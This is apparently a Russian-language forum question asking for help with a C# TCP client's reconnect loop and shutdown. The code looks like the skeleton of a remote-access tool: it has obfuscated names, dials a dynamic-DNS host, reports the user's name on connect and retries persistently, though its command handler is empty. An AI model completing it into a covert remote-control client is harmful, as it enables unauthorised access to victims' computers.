Я несколько дней пытался заставить клиента обнаружить его, когда соединение с сервером закрыто, и делать цикл попыток соединения, пока он не обнаружит доступное соединение (открыть сервер) и когда я пытаюсь закрыть соединение с клиентом .Закрытие и завершение работы (shutdown.both) останавливает приложение
спасибо, если вы можете мне помочь, что я не исправляю ошибки или не решаю код
[DllImport("winmm.dll", EntryPoint = "mciSendStringA")]
public static extern void mciSendStringA(string comandonow, string retornonow, long longitudnow, long callbacknow);
public static TcpClient QKICDdjIKo = new TcpClient();
static IPEndPoint MjDHEHn = null;
static IPHostEntry hostEntry;
static List<TcpClient> countConnections = new List<TcpClient>();
static StreamReader reader;
private static byte[] _readBuffer;
private static byte[] _tempHeader;
public static bool Connected { get; private set; }
public static bool Exiting { get; private set; }
//
public static int BUFFER_SIZE { get { return 1024 * 16; } } // 16KB
public static int HEADER_SIZE { get { return 4; } } // 4B
private static bool IsConnectionSuccessful = false;
private static ManualResetEvent TimeoutObject = new ManualResetEvent(false);
private static Exception socketexception;
public static bool isconnected;
public static void Connection()
{
TimeoutObject.Reset();
socketexception = null;
try
{
if (!QKICDdjIKo.Connected)
{
_readBuffer = new byte[BUFFER_SIZE];
_tempHeader = new byte[HEADER_SIZE];
hostEntry = Dns.GetHostEntry("noip host");
var ip = hostEntry.AddressList[0];
MjDHEHn = new IPEndPoint(IPAddress.Parse(ip.ToString()), 4004);
QKICDdjIKo.Connect(MjDHEHn); // Option 1
// QKICDdjIKo.BeginConnect("127.0.0.1", 4004, new AsyncCallback(khmcbmPmGPCfIOcPKOBONAbnGnfFIJnpREd), QKICDdjIKo); //Option 2
OperatingSystem os_info = Environment.OSVersion;
ConnectedVerify(Environment.UserName.ToString());
QKICDdjIKo.GetStream().BeginRead(_readBuffer, 0, _readBuffer.Length, ReadMSG, 0);
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
private static void CallBackMethod(IAsyncResult asyncresult)
{
try
{
IsConnectionSuccessful = false;
TcpClient tcpclient = asyncresult.AsyncState as TcpClient;
if (tcpclient.Client != null)
{
tcpclient.EndConnect(asyncresult);
IsConnectionSuccessful = true;
}
}
catch (Exception ex)
{
IsConnectionSuccessful = false;
socketexception = ex;
}
finally
{
TimeoutObject.Set();
}
}
public Form1()
{
InitializeComponent();
Connect();
}
public static void Connect()
{
while (!Exiting) // Main Connect Loop
{
if (!Connected)
{
Thread.Sleep(100 + new Random().Next(0, 250));
Connection();
Thread.Sleep(200);
Application.DoEvents();
}
while (Connected) // hold client open
{
Application.DoEvents();
Thread.Sleep(2500);
}
if (Exiting)
{
//QKICDdjIKo.Close();
return;
}
Thread.Sleep(3000 + new Random().Next(250, 750));
}
}
public static void ReadMSG(IAsyncResult now)
{
try
{
while (true)
{
reader = new StreamReader(QKICDdjIKo.GetStream());
Rd(reader.ReadLine());
QKICDdjIKo.GetStream().BeginRead(_readBuffer, 0, _readBuffer.Length, ReadMSG, 0);
}
}
catch
{
}
}
public static void HjoLNkEHFaqQCp(string texto)
{
try
{
StreamWriter DpBoDcECG = new StreamWriter(QKICDdjIKo.GetStream());
DpBoDcECG.WriteLine(texto);
DpBoDcECG.Flush();
}
catch
{
//
}
}
public static void Rd(string msg)
{
}
static void Status(string msg)
{
try
{
StreamWriter writer = new StreamWriter(QKICDdjIKo.GetStream());
writer.WriteLine("STATUS|" + msg);
writer.Flush();
}
catch
{
}
}
static void ConnectedVerify(string msg)
{
StreamWriter writer = new StreamWriter(QKICDdjIKo.GetStream());
writer.WriteLine("CONNECTED|" + msg);
writer.Flush();
}
static void usr(string msg)
{
StreamWriter writer = new StreamWriter(QKICDdjIKo.GetStream());
writer.WriteLine("USER|" + msg);
writer.Flush();
}